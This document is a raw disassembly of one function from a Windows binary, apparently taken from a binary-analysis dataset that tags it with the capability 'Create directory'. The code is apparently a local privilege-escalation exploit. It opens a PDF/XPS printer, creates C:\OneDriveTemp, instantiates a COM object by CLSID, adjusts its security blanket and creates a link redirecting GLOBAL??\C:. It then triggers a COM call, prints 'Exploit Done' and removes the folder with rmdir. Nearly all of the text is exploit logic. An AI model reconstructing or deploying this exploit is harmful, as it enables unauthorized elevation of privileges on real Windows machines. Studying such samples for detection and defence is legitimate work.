Function at 0x140004580
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov rdi, rdx
mov ebx, ecx
mov dword [rbp + 0x10], 8
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
lea rcx, str.Microsoft_Print_to_PDF
mov qword [0x140054cd0], rcx
lea r8, [rbp]
lea rdx, [rbp - 0x58]
call qword [sym.imp.WINSPOOL.DRV_OpenPrinterW]
test eax, eax
jne 0x140004642
lea rcx, str.Microsoft_XPS_Document_Writer
mov qword [0x140054cd0], rcx
lea r8, [rbp]
lea rdx, [rbp - 0x58]
call qword [sym.imp.WINSPOOL.DRV_OpenPrinterW]
test eax, eax
jne 0x140004642
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Get_Name_Error__d_n
call fcn.1400011e0
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140011d30
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp ebx, 1
jle 0x140004685
mov ecx, esi
mov rdx, qword [rdi + 8]
lea r8, str._force
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140004685
cmp rcx, 7
jne 0x140004660
lea rcx, str.Force_Mode_On_n
call fcn.1400011e0
call fcn.140003fe0
call fcn.1400015d0
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rcx, str.C:OneDriveTemp
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.C:OneDriveTemp
lea rdx, str._s_temp.xml
lea rcx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, str.rpcrt4.dll
lea rcx, [rbp + 0x40]
call fcn.1400029d0
mov qword [rbp - 0x40], rsi
lea rdx, [rbp + 0x28]
lea rcx, str.D54378CD_91D8_4E10_A00B_819F9A9EFCB1
call qword [sym.imp.ole32.dll_CLSIDFromString]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400046ef
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rbp - 0x40], rsi
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [0x14004ade0]
xor edx, edx
lea r8d, [rdx + 4]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140004992
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x34]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x2c]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
test eax, eax
jne 0x1400049b4
mov eax, dword [rbp - 0x38]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 3
mov eax, dword [rbp - 0x34]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp - 0x48]
mov r8d, dword [rbp - 0x30]
mov edx, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jne 0x1400049d6
call fcn.140002ab0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 7
mov word [rbp - 0x20], si
mov r8d, 6
lea rdx, str.__C:
lea rcx, [rbp - 0x20]
call fcn.140007980
nop
mov qword [rbp], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 7
mov word [rbp], si
mov r8d, 0x19
lea rdx, str.GLOBAL__C:OneDriveTemp
lea rcx, [rbp]
call fcn.140007980
nop
lea rax, [rsp + 0x68]
mov qword [rbp - 0x58], rax
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140005f30
mov rbx, rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x78]
call fcn.140005f30
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400042e0
mov rbx, rax
test rax, rax
jne 0x140004840
lea rcx, str.Failed_to_create_link_n
call fcn.1400011e0
jmp 0x1400048ee
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140004987
mov rax, qword [rcx]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
lea rdx, str.xxx1
mov qword [rsp + 0x38], rdx
lea rdx, str.abc1
mov qword [rsp + 0x30], rdx
mov r9, qword [0x140054cd0]
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r9
lea r8, [rbp + 0x40]
xor edx, edx
call qword [rax + 0x18]
mov edx, dword [rbp - 0x28]
cmp edx, 0x80070006
je 0x1400048a7
lea rcx, str.Exploit_Error_0x_x_n
jmp 0x1400048b0
mov edx, eax
lea rcx, str.Exploit_Done_0x_x_n
call fcn.1400011e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400015d0
lea rcx, str.Deleting_dir_..._n
call fcn.1400011e0
lea rcx, str.rmdir__S__Q_C:OneDriveTemp
call fcn.14001db60
mov edx, eax
call fcn.140005b70
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x14000492f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004929
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400049f8
call fcn.140011d50
nop
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x14000496c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004966
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004981
call fcn.140011d50
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000497c
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x140004618
call fcn.14001ec10
nop
mov ecx, 0x80004003
call fcn.140012ab0
nop
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.140001840
lea rdx, [0x140050df8]
lea rcx, [rbp - 0x20]
call fcn.1400156ac
int3
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.140001840
lea rdx, [0x140050df8]
lea rcx, [rbp - 0x20]
call fcn.1400156ac
int3
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.140001840
lea rdx, [0x140050df8]
lea rcx, [rbp - 0x20]
call fcn.1400156ac
nop
call fcn.14001ec10
int3